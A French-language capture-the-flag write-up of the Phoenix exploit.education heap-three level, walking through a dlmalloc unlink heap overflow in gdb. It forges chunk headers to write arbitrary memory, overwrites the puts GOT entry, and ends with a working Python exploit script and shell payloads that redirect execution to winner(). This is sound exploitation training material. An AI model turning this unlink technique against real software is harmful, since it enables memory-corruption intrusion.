Contents

Phoenix exploit education heap-three

Heap three

Quatrième exercice heap de la suite Phoenix exploit education.

Source

/*
 * phoenix/heap-three, by https://exploit.education
 *
 * This level is linked against ftp://gee.cs.oswego.edu/pub/misc/malloc-2.7.2.c
 * version 2.7.2, with a SHA1 sum of 407329d164e4989b59b9a828760acb720dc5c7db
 * more commonly known as "dlmalloc", Doug Lea Malloc
 *
 * Can you hijack flow control, and execute winner()? Afterwards, how
 * about your own code? This level is solvable on Linux i386 easily enough,
 * as for other architectures, it may not be possible, or may require some
 * creativity - let me know what you come up with :)
 *
 * My friend told me that nothing rhymes with orange.
 * I told them, "No, it doesn't".
 *
 * Or, more seriously, https://www.youtube.com/watch?v=lPcR5RVXHMg
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>

void winner() {
  printf("Level was successfully completed at @ %ld seconds past the Epoch\n",
      time(NULL));
}

int main(int argc, char **argv) {
  char *a, *b, *c;

  a = malloc(32);
  b = malloc(32);
  c = malloc(32);

  strcpy(a, argv[1]);
  strcpy(b, argv[2]);
  strcpy(c, argv[3]);

  free(c);
  free(b);
  free(a);

  printf("dynamite failed?\n");
}

On a simplement 3 allocations de blocs de 32 octets et la recopie sans précaution des 3 paramètres en arguments dans ces zones.

Ensuite ils sont libérés en dépilant.

Observation du fonctionnement.

On envoie trois arguments avec la taille maximum (32 octets) Breakpoint sur le premier free:

b *0x0804888b
gef> r $(printf "%032d %032d %032d" 0 1 2)

Avant le free(c)


gef> x/40xw 0xf7e69000
0xf7e69000:     0x00000000      0x00000029      0x30303030      0x30303030
0xf7e69010:     0x30303030      0x30303030      0x30303030      0x30303030
0xf7e69020:     0x30303030      0x30303030      0x00000000      0x00000029
0xf7e69030:     0x30303030      0x30303030      0x30303030      0x30303030
0xf7e69040:     0x30303030      0x30303030      0x30303030      0x31303030
0xf7e69050:     0x00000000      0x00000029      0x30303030      0x30303030
0xf7e69060:     0x30303030      0x30303030      0x30303030      0x30303030
0xf7e69070:     0x30303030      0x32303030      0x00000000      0x000fff89
0xf7e69080:     0x00000000      0x00000000      0x00000000      0x00000000
0xf7e69090:     0x00000000      0x00000000      0x00000000      0x00000000

gef> x/20x &av_
0x804c1c0 <av_>:        0x00000048      0x00000000      0x00000000      0x00000000
0x804c1d0 <av_+16>:     0x00000000      0x00000000      0x00000000      0x00000000
0x804c1e0 <av_+32>:     0x00000000      0x00000000      0x00000000      0xf7e69078 top
0x804c1f0 <av_+48>:     0x00000000      0x00000000      0x00000000      0x0804c1f4
0x804c200 <av_+64>:     0x0804c1f4      0x0804c1fc      0x0804c1fc      0x0804c204

La sructure av_ correspond à la “main_arena” du processus qui contient en particulier les tables des têtes de liste des fastbins libres. (on la verra plus loin dans le source).

Après le free(c)

ni
gef> x/40xw 0xf7e69000
0xf7e69000:     0x00000000      0x00000029      0x30303030      0x30303030
0xf7e69010:     0x30303030      0x30303030      0x30303030      0x30303030
0xf7e69020:     0x30303030      0x30303030      0x00000000      0x00000029
0xf7e69030:     0x30303030      0x30303030      0x30303030      0x30303030
0xf7e69040:     0x30303030      0x30303030      0x30303030      0x31303030
0xf7e69050:     0x00000000      0x00000029     *0x00000000      0x30303030
0xf7e69060:     0x30303030      0x30303030      0x30303030      0x30303030
0xf7e69070:     0x30303030      0x32303030      0x00000000      0x000fff89
0xf7e69080:     0x00000000      0x00000000      0x00000000      0x00000000
0xf7e69090:     0x00000000      0x00000000      0x00000000      0x00000000

Le pointeur a été placé dans la liste des fastchunks de la structure av_

gef> x/20x &av_
0x804c1c0 <av_>:        0x0000004b      0x00000000      0x00000000      0x00000000
0x804c1d0 <av_+16>:    *0xf7e69050      0x00000000      0x00000000      0x00000000
0x804c1e0 <av_+32>:     0x00000000      0x00000000      0x00000000      0xf7e69078
0x804c1f0 <av_+48>:     0x00000000      0x00000000      0x00000000      0x0804c1f4
0x804c200 <av_+64>:     0x0804c1f4      0x0804c1fc      0x0804c1fc      0x0804c204

Après free(b)

gef> x/40xw 0xf7e69000
0xf7e69000:     0x00000000      0x00000029      0x30303030      0x30303030
0xf7e69010:     0x30303030      0x30303030      0x30303030      0x30303030
0xf7e69020:     0x30303030      0x30303030      0x00000000      0x00000029
0xf7e69030:    *0xf7e69050      0x30303030      0x30303030      0x30303030
0xf7e69040:     0x30303030      0x30303030      0x30303030      0x31303030
0xf7e69050:     0x00000000      0x00000029      0x00000000      0x30303030
0xf7e69060:     0x30303030      0x30303030      0x30303030      0x30303030
0xf7e69070:     0x30303030      0x32303030      0x00000000      0x000fff89
0xf7e69080:     0x00000000      0x00000000      0x00000000      0x00000000
0xf7e69090:     0x00000000      0x00000000      0x00000000      0x00000000

gef> x/20x &av_
0x804c1c0 <av_>:        0x0000004b      0x00000000      0x00000000      0x00000000
0x804c1d0 <av_+16>:    *0xf7e69028      0x00000000      0x00000000      0x00000000
0x804c1e0 <av_+32>:     0x00000000      0x00000000      0x00000000      0xf7e69078
0x804c1f0 <av_+48>:     0x00000000      0x00000000      0x00000000      0x0804c1f4
0x804c200 <av_+64>:     0x0804c1f4      0x0804c1fc      0x0804c1fc      0x0804c204

Après free(a)


gef> x/40xw 0xf7e69000
0xf7e69000:     0x00000000      0x00000029     *0xf7e69028      0x30303030
0xf7e69010:     0x30303030      0x30303030      0x30303030      0x30303030
0xf7e69020:     0x30303030      0x30303030      0x00000000      0x00000029
0xf7e69030:     0xf7e69050      0x30303030      0x30303030      0x30303030
0xf7e69040:     0x30303030      0x30303030      0x30303030      0x31303030
0xf7e69050:     0x00000000      0x00000029      0x00000000      0x30303030
0xf7e69060:     0x30303030      0x30303030      0x30303030      0x30303030
0xf7e69070:     0x30303030      0x32303030      0x00000000      0x000fff89
0xf7e69080:     0x00000000      0x00000000      0x00000000      0x00000000
0xf7e69090:     0x00000000      0x00000000      0x00000000      0x00000000

0x804c1c0 <av_>:        0x0000004b      0x00000000      0x00000000      0x00000000
0x804c1d0 <av_+16>:    *0xf7e69000      0x00000000      0x00000000      0x00000000
0x804c1e0 <av_+32>:     0x00000000      0x00000000      0x00000000      0xf7e69078
0x804c1f0 <av_+48>:     0x00000000      0x00000000      0x00000000      0x0804c1f4
0x804c200 <av_+64>:     0x0804c1f4      0x0804c1fc      0x0804c1fc      0x0804c204

On peut effectuer un débordement par exemple du second bloc et modifier la taille du chunck suivant.


r $(printf "%032d %032dAAAAC %032d" 0 1 2)

Apres free(b)
gef> x/20x &av_
0x804c1c0 <av_>:        0x0000004b      0x00000000      0x00000000      0x00000000
0x804c1d0 <av_+16>:    *0xf7e69028      0x00000000      0x00000000     *0xf7e69050
0x804c1e0 <av_+32>:     0x00000000      0x00000000      0x00000000      0xf7e69078
0x804c1f0 <av_+48>:     0x00000000      0x00000000      0x00000000      0x0804c1f4
0x804c200 <av_+64>:     0x0804c1f4      0x0804c1fc      0x0804c1fc      0x0804c204

La seule conséquence est de changer le bloc de freelist tant que la taille reste en dessous de la taille max des fastbins.

Analyse du source malloc.c

La code du free se trouve dans cette fonction :

void fREe(Void_t* mem)

Une variable de type mstate correspond à la plus moderne main_arena

mstate av = get_malloc_state();

On distingue d’abord le test de distinction fastbin/smallbin

    if ((CHUNK_SIZE_T)(size) <= (CHUNK_SIZE_T)(av->max_fast)

#if TRIM_FASTBINS
        /*
           If TRIM_FASTBINS set, don't place chunks
           bordering top into fastbins
        */
        && (chunk_at_offset(p, size) != av->top)
#endif
        ) {

      set_fastchunks(av);
      fb = &(av->fastbins[fastbin_index(size)]);
      p->fd = *fb;
      *fb = p;
    }

La structure av correspond à la “main_arena” du processus.

struct malloc_state {

  /* The maximum chunk size to be eligible for fastbin */
  INTERNAL_SIZE_T  max_fast;   /* low 2 bits used as flags */

  /* Fastbins */
  mfastbinptr      fastbins[NFASTBINS];

  /* Base of the topmost chunk -- not otherwise kept in a bin */
  mchunkptr        top;

  /* The remainder from the most recent split of a small request */
  mchunkptr        last_remainder;

  /* Normal bins packed as described above */
  mchunkptr        bins[NBINS * 2];

  /* Bitmap of bins. Trailing zero map handles cases of largest binned size */
  unsigned int     binmap[BINMAPSIZE+1];
  ...
};

La taille max d’un fastbin est stockée dans le premier mot de la structure av_.

On a pu observé plus haut : 0x804c1c0 <av_>: 0x0000004b 0x00000000 0x00000000 0x00000000

Si on remplace la taille par une valeur de plus que 4b on aura un free de smallbin. Rappel issu du source de la scructure d’un chunk :

    Free chunks are stored in circular doubly-linked lists, and look like this:

    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of previous chunk                            |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    head:   |             Size of chunk, in bytes                         |P|
      mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Forward pointer to next chunk in list             |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Back pointer to previous chunk in list            |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Unused space (may be 0 bytes long)                .
            .                                                               .
            .                                                               |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    foot:   |             Size of chunk, in bytes                           |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Si le bit P est à zero le chunck précédent est sensé être libre on va fusionner les deux blocs libre en consolidant les pointeurs forward et back du bloc précédent:

      /* consolidate backward */
      if (!prev_inuse(p)) {
        prevsize = p->prev_size;
        size += prevsize;
        p = chunk_at_offset(p, -((long) prevsize));
        unlink(p, bck, fwd);
      }

Avec la macro :

/* Take a chunk off a bin list */
#define unlink(P, BK, FD) {                                            \
  FD = P->fd;                                                          \
  BK = P->bk;                                                          \
  FD->bk = BK;                                                         \
  BK->fd = FD;                                                         \
}

Le bloc précédent est localisé avec la taille qui est sensée être placée en début du chunk. Le pointeurs de blocs précédents P->fd->bk = P->bk P->bk->fw = P->fd

On peut résumer ça pour la libération du chunk p en :

P=p-prev_size
FD=*(P+12)     //  FD = P->fd;
BK=*(P+8)      // BK = P->bk;
*(FD+8) = BK   // FD->bk = BK
*(BK+12)=FD    // BK->fd = FD
P=p-prev_size
*(*(P+12)+8) = BK
*(*(P+8)+12) = FD

On va effectuer un debordement de “a” pour modifier la taille de “b” avec la valeur 0x80. Le bit prev_inuse est à zero : le chuck subira le traitement de consolidation.

r $(python -c 'print("A"*32+"EEEE\x80"+" "+"B"*32+" "+"C"*32)' )

free(0xf7e69030)

0xf7e69020:     0x41414141      0x41414141      0x45454545      0x00000080
                                                prev_size       sz=0x80 P=0
0xf7e69030:     0x42424242      0x42424242      0x42424242      0x42424242


    0x8049924 <free+205>       neg    eax
    0x8049926 <free+207>       add    DWORD PTR [ebp-0xc], eax
    0x8049929 <free+210>       mov    eax, DWORD PTR [ebp-0xc]
 →  0x804992c <free+213>       mov    eax, DWORD PTR [eax+0x8]
    0x804992f <free+216>       mov    DWORD PTR [ebp-0x2c], eax
    0x8049932 <free+219>       mov    eax, DWORD PTR [ebp-0xc]
    0x8049935 <free+222>       mov    eax, DWORD PTR [eax+0xc]
    0x8049938 <free+225>       mov    DWORD PTR [ebp-0x30], eax
    0x804993b <free+228>       mov    eax, DWORD PTR [ebp-0x2c]

On observe la valeur de eax :


$eax   : 0xb2a14ae3

hex(0xf7e69030-0xb2a14ae3) ‘0x4545454d’

La valeur contenue dans eax corresponde à : eax = adresse_mem - prev_sz - 8 C’est l’adresse du chunk précédent

Elle est dans la variable locale ebp-0xc

0x8049929 <free+210>       mov    eax, DWORD PTR [ebp-0xc]

ebp-2c = [ebp-0xc + 8 ] Cette séquence correspond à :

ebp-0xc + 12 = [ebp-0xc+8]

P+12 = [P + 8]

On peut donc effectuer l’operation :

p-prev_sz-8+12 = [p-prev_sz-8+8] c’est à dire p-prev_sz+4 = [p-prev_sz]

On doit déborder de [prevsz|taillebloc] avec un taille de bloc >80 et le bit P a zéro. Le problème est que les tailles de bloc normales vont introduire des octets à zéro Ex: pour un une taille du bloc précédent à 160 ex: 000000a0 00000080.

Astuce : mettre une taille négative pour que les octets de gauches soient à 1. Avec un valeur de -16 par exemple 0xfffffff0. En outre cela a pour effet de situer le “bloc précédent” dans le bloc courant.

Essayons d’injecter un taille de bloc précédent à -16 et une taille de bloc courant à 128 suivit d’un liste d’octets distincts qui nous permette d’observer leur utilisation.

"A"*32+"\xf0\xff\xff\xff\x80"+" "+"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdef "+"C"*32

r $(python -c 'print("A"*32+"\xf0\xff\xff\xff\x80"+" "+"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdef "+"C"*32)' )

Program received signal SIGSEGV, Segmentation fault.
0x08049941 in free ()

    0x804993e <free+231>       mov    edx, DWORD PTR [ebp-0x30]
 →  0x8049941 <free+234>       mov    DWORD PTR [eax+0xc], edx
    0x8049944 <free+237>       mov    eax, DWORD PTR [ebp-0x30]


On a eax et edx:
$eax   : 0x54535251 ("QRST"?)
$edx   : 0x58575655 ("UVWX"?)

gef> x/20x 0xf7e69030
0xf7e69030:     0x44434241      0x48474645      0x4c4b4a49      0x504f4e4d
0xf7e69040:     0x54535251      0x58575655      0x62615a59      0x66656463
                eax             edx
0xf7e69050:     0x00000000      0x00000029      0x00000000      0x43434343

on veut ecrire en eax+12 la valeur de edx

Essayons d’écrire en 0xf7e69030 le contenu de 0xf7e69034.

r $(python -c 'print("A"*32+"\xf0\xff\xff\xff\x80"+" "+"ABCDEFGHIJKLMNOP\x24\x90\xe6\xf7ZZZZ"+" "+"C"*32)' )

On doit écrire ZZZZ a l’adresse 0x7fe69024+12

Program received signal SIGSEGV, Segmentation fault.
0x0804994a in free ()

    0x8049947 <free+240>       mov    edx, DWORD PTR [ebp-0x2c]
 →  0x804994a <free+243>       mov    DWORD PTR [eax+0x8], edx
    0x804994d <free+246>       mov    eax, DWORD PTR [ebp-0x14]

$eax   : 0x5a5a5a5a ("ZZZZ"?)
$edx   : 0xf7e69024  →  0x41414141 ("AAAA"?)

gef> x/20x 0xf7e69030
0xf7e69030:     0x5a5a5a5a      0x48474645      0x4c4b4a49      0x504f4e4d
0xf7e69040:     0xf7e69024      0x5a5a5a5a      0x2e2e2e2e      0x2e2e2e2e
0xf7e69050:     0x00000000      0x00000029      0x00000000      0x43434343
0xf7e69060:     0x43434343      0x43434343      0x43434343      0x43434343
0xf7e69070:     0x43434343      0x43434343      0x00000000      0x000fff89

On a bien écrit 0x5a5a5a5a en 0xf7e69030

En revanche on plante encore

On veut écrire en eax+8 la valeur 0xf7e69024 ce qui correspond à la seconde opération de la consolidation. *(FD+8) = BK

P=p-prev_size
FD=*(P+12)     //  FD = P->fd;
BK=*(P+8)        // BK = P->bk;
*(BK+12)=FD    // BK->fd = FD
*(FD+8) = BK    // FD->bk = BK

Donc si on pose à l’offset 16 les adresses X Y On écrit Y a l’adresse de X+12 On écrit X a l’adresse de Y+8

Il faut donc que l’adresse de Y+8 soit inscriptible.

Prenons X=0xf7e69030 et Y=0xf7e69030

"A"*32+"\xf0\xff\xff\xff\x80"+" "+"ABCDEFGHIJKLMNOP\x24\x90\xe6\xf7\x30\x90\xe6\xf"+" "+"C"*32

r $(python -c 'print("A"*32+"\xf0\xff\xff\xff\x80"+" "+"ABCDEFGHIJKLMNOP\x24\x90\xe6\xf7\x30\x90\xe6\xf7........"+" "+"C"*32)' )

Program received signal SIGSEGV, Segmentation fault.
0x08049994 in free ()

0xf7e69000:     0x00000000      0x00000029      0x41414141      0x41414141
0xf7e69010:     0x41414141      0x41414141      0x41414141      0x41414141
0xf7e69020:     0x41414141      0x41414141      0xfffffff0      0x00000080
0xf7e69030:     0xf7e69030      0x48474645      0xf7e69024      0x504f4e4d
                   ok                               ok
0xf7e69040:     0xf7e69024      0xf7e69030      0x2e2e2e2e      0x2e2e2e2e

Mais on plant un peu plus loin

    0x804998b <free+308>       mov    DWORD PTR [ebp-0x30], eax
    0x804998e <free+311>       mov    eax, DWORD PTR [ebp-0x2c]
    0x8049991 <free+314>       mov    edx, DWORD PTR [ebp-0x30]
 => 0x8049994 <free+317>       mov    DWORD PTR [eax+0xc], edx
    0x8049997 <free+320>       mov    eax, DWORD PTR [ebp-0x30]
    0x804999a <free+323>       mov    edx, DWORD PTR [ebp-0x2c]
    0x804999d <free+326>       mov    DWORD PTR [eax+0x8], edx
    0x80499a0 <free+329>       mov    eax, DWORD PTR [ebp-0x24]
$eax   : 0x0
$ebx   : 0xffffd6c0  =>  0x00000004
$ecx   : 0x0
$edx   : 0x0

On se trouve la dans la séquence de consolidation FW qui utilise la taille du chunk actuellement à 0x80. Là encore on doit utiliser l’astuce de la valeur négative. Heureusement cette valeur va être utilisée comme non signée dans la comparaison avec la limite des taille de fast_chunks : max_fast. Prenons la valeur 0xffffffffffd8 : -40 (0x28) qui va nous placer au début du chunk “a”. A cette adresse on doit trouver des adresses FK et BK valides.

gef> r $(python -c 'print("\x08\x90\xe6\xf7\x08\x90\xe6\xf7"+"A"*24+"\xf0\xff\xff\xff\xd8\xff\xff\xff"+" "+"B"*16+"\x24\x90\xe6\xf7\x30\x90\xe6\xf7"+" "+"C"*32)' )

Avant second free free(b)
gef> x/32x 0xf7e69000
0xf7e69000:    0x00000000    0x00000029    0xf7e69008    0xf7e69008
                                           fake BK       fake FD
0xf7e69010:    0x41414141    0x41414141    0x41414141    0x41414141
0xf7e69020:    0x41414141    0x41414141    0xfffffff0    0xffffffd8
                                           -16           -40
0xf7e69030:    0x42424242    0x42424242    0x42424242    0x42424242
0xf7e69040:    0xf7e69024    0xf7e69030    0x00000000    0x00000000
               X             Y
0xf7e69050:    0x00000000    0x00000029    0x00000000    0x43434343
0xf7e69060:    0x43434343    0x43434343    0x43434343    0x43434343
0xf7e69070:    0x43434343    0x43434343    0x00000000    0x000fff89

Après

gef> x/32x 0xf7e69000
0xf7e69000:    0x00000000    0x00000028    0xf7e69008    0xf7e69008
0xf7e69010:    0xf7e69008    0xf7e69008    0x41414141    0x41414141
0xf7e69020:    0x41414141    0x41414141    0xfffffff0    0xffffffd8
0xf7e69030:    0xf7e69030    0x42424242    0xf7e69024    0xfffffff1
               Y             X
0xf7e69040:    0x0804c1f4    0x0804c1f4    0x00000000    0x00000000
               av->bins[0]   av->bins[0]
0xf7e69050:    0x00000000    0x000fffb1    0x00000000    0x43434343
0xf7e69060:    0x43434343    0x43434343    0x43434343    0x43434343
0xf7e69070:    0x43434343    0x43434343    0x00000000    0x000fff89

Les valeurs X=0xf7e69024 Y=0xf7e69030 on bien été écrites en 0xf7e69030+8 et 0xf7e69024+12

On a bien un outil pour une écriture à une adresse maîtrisée.

On peut envisager d’écrire l’adresse de winner dans la got dans l’entrée d’une fonction qui est appelée ensuite.

Après le troisième free on appelle puts.

   0x080488a7 <+171>:   call   0x8049857 <free>
   0x080488ac <+176>:   add    esp,0x10
   0x080488af <+179>:   sub    esp,0xc
   0x080488b2 <+182>:   push   0x804abc2
   0x080488b7 <+187>:   call   0x80485b0 <puts@plt>
   0x080488bc <+192>:   add    esp,0x10

gef> x/3i 0x80485b0
   0x80485b0 <puts@plt>:        jmp    DWORD PTR ds:0x804c13c
   0x80485b6 <puts@plt+6>:      push   0x28

0x804c13c <puts@got.plt>:       0x080485b6

et

gef> p winner
$2 = {<text variable, no debug info>} 0x80487d5 <winner>

On peut donc écrire dans puts@got.plt : 0x804c13c

Si on pose X=0x804c130 Y=0x80487d5 On va écrire 0x80487d5 dans 0x804c130+0xc 0x804c13c Mais aussi 0x804c130 dans 0x80487d5+8

On ne peut donc pas utiliser directement l’adresse de winner.

Il faut réaliser un rebond dans une zône inscriptible On pourrait utiliser le troisième free et remplacer son adresse dans la got par un gadget jmp esp.

gef> ropper --jmp esp

JMP Instructions
================

0x0804ac4b: jmp esp;
0x0804acc3: jmp esp;
0x0804acfb: call esp;

Mais malloc a été linké en statique !!! donc free n’est pas dans la section GOT.

On va donc plutôt utiliser une adresse du tas pour y poser une séquence de code. On a la place 16 octets dans le buffer a l’adresse 0xf7e69à18:

gef> x/32x 0xf7e69000
0xf7e69000:    0x00000000    0x00000028    0xf7e69008    0xf7e69008
0xf7e69010:    0xf7e69008    0xf7e69008    0x41414141    0x41414141
                                           ----------    ----------
0xf7e69020:    0x41414141    0x41414141    0xfffffff0    0xffffffd8
               ----------    ----------
0xf7e69030:    0xf7e69030    0x42424242    0xf7e69024    0xfffffff1
0xf7e69040:    0x0804c1f4    0x0804c1f4    0x00000000    0x00000000
0xf7e69050:    0x00000000    0x000fffb1    0x00000000    0x43434343
0xf7e69060:    0x43434343    0x43434343    0x43434343    0x43434343
0xf7e69070:    0x43434343    0x43434343    0x00000000    0x000fff89

Pour écrire l’adresse 0xf7e69018 dans l’entrée got.puts : 0x804c13c On va poser X=0xf7e6918 B=0x804c134

[Y+8]=X on veux écrire 0xf7e6908 en 0x804c13c

[X+12] = Y On va écrire 0x804c134 en 0xf7e69014.

Dans “a” on va poser un pseudo shellcode 0xcc (int 3) c’est à dire un point d’arrêt.

gef> r $(python -c 'print("\x08\x90\xe6\xf7\x08\x90\xe6\xf7"+"\xcc"*24+"\xf0\xff\xff\xff\xd8\xff\xff\xff"+" "+"B"*16+"\x18\x90\xe6\xf7\x34\xc1\x04\x08"+" "+"C")' )

Après le free(b)

gef> x/32x 0xf7e69000
0xf7e69000:    0x00000000    0x00000028    0xf7e69008    0xf7e69008
0xf7e69010:    0xf7e69008    0xf7e69008    0xcccccccc    0xcccccccc
0xf7e69020:    0xcccccccc    0x0804c134    0xfffffff0    0xffffffd8
0xf7e69030:    0x42424242    0x42424242    0x42424242    0xfffffff1
0xf7e69040:    0x0804c1f4    0x0804c1f4    0x00000000    0x00000000
0xf7e69050:    0x00000000    0x000fffb1    0x00000000    0x00000000
0xf7e69060:    0x00000000    0x00000000    0x00000000    0x00000000
0xf7e69070:    0x00000000    0x00000000    0x00000000    0x000fff89
gef> x/1x 0x0804c13c
0x804c13c <puts@got.plt>:    0xf7e69018
c
[#0] Id 1, Name: "heap-three", stopped, reason: SIGTRAP
[#0] 0xf7e69019 → int3

C’est bon. On remplace le int 3 par un saut vers winner.

rasm2 "jmp 0x80487d5"
e9d0870408

Le problème est que l’instruction e9 est un saut relatif. L’adresse doit être calculée en relatif par rapport a l’adresse de l’instruction suivante. L’instruction se trouve en 0xf7e69018 donc le saut est relatif a 0xf7e6901d (l’instruction fait 5 octets).

>>> hex(0x080487d5 - 0xf7e6901d )
'-0xefe20848'
>>> hex(0x100000000  - 0xefe20848)
'0x101df7b8'

L’instruction est donc codée : e9b8f71d10

r $(python -c 'print("\x08\x90\xe6\xf7\x08\x90\xe6\xf7"+"AAAAAAAA\xe9\xb8\xf7\x1d\x10"+"A"*11+"\xf0\xff\xff\xff\xd8\xff\xff\xff"+" "+"B"*16+"\x18\x90\xe6\xf7\x34\xc1\x04\x08"+" "+"C")' )

Breakpoint 2, 0x080488a7 in main ()
gef> x/24x 0xf7e69000
0xf7e69000:    0x00000000    0x00000028    0xf7e69008    0xf7e69008
0xf7e69010:    0xf7e69008    0xf7e69008    0x1df7b8e9    0x41414110
0xf7e69020:    0x41414141    0x0804c134    0xfffffff0    0xffffffd8
0xf7e69030:    0x42424242    0x42424242    0x42424242    0xfffffff1
0xf7e69040:    0x0804c1f4    0x0804c1f4    0x00000000    0x00000000
0xf7e69050:    0x00000000    0x000fffb1    0x00000000    0x43000000


gef> c
Continuing.
Level was successfully completed at @ 1590006849 seconds past the Epoch
[Inferior 1 (process 858) exited normally]

Script final en python.

#!/usr/bin/python
#coding: utf-8
import struct

def p32(n):
    return struct.pack('<I',n)

# jmp to winner from 0xf7e69018
JMP_WINNER="\xe9\xb8\xf7\x1d\x10"
# Shellcode address in A
ADR_SC=struct.pack('<I',0xf7e69018)
# got.puts - 8
GOTPUTS=p32(0x0804c134)

ARG1=p32(0xf7e69008)   # Fake FD
ARG1+=p32(0xf7e69008)  # Fake BK
ARG1+="A"*8            # Junk
ARG1+=JMP_WINNER       # jmp @winner
ARG1+="A"*(32 - len(ARG1)) # Junk
ARG1+=p32(0xfffffff0)  # prev_size : -16
ARG1+=p32(0xffffffd8)  # size=-40, PREV_IN_USE=false

ARG2="B"*16     # Junk for FD,BK
ARG2+=ADR_SC    # @ JMP_WINNER
ARG2+=GOTPUTS   # got.puts - 8

ARG3="C"        # Unused

print(" ".join([ARG1,ARG2,ARG3]))

Execution :

$ /opt/phoenix/i486/heap-three $(python heap-3.py)
Level was successfully completed at @ 1590153731 seconds past the Epoch

Conclusion

Ce write-up restitue une expérience de mise en œuvre et conserve les essais infructueux dans la mesures où il me semblaient intéressants ainsi que des choix non optimums conservés aussi .

On a en particulier deux différences avec les solutions suivantes qui sont meilleures :

Andrew Lamarra , Lucas Balder

D’abord le débordement depuis le chunck A dans le chunck B complique inutilement le travail. En débordant du B vers le C on a plus de place pour installer le shellcode dans le A et moins de problème de consolidation Forward.

Le code de rebond avec un jmp présente l’inconvénient d’être dépendant de l’adresse d’implantation.

La séquence push 0x080487d5; ret est plus portable car elle ne dépends pas de l’implantation du code.

/opt/phoenix/i486/heap-three $(python -c 'print("\x08\x90\xe6\xf7\x08\x90\xe6\xf7"+"AAAAAAAA\x68\xd5\x87\x04\x08\xc3"+"A"*10+"\xf0\xff\xff\xff\xd8\xff\xff\xff"+" "+"B"*16+"\x18\x90\xe6\xf7\x34\xc1\x04\x08"+" "+"C")' )
Level was successfully completed at @ 1590007922 seconds past the Epoch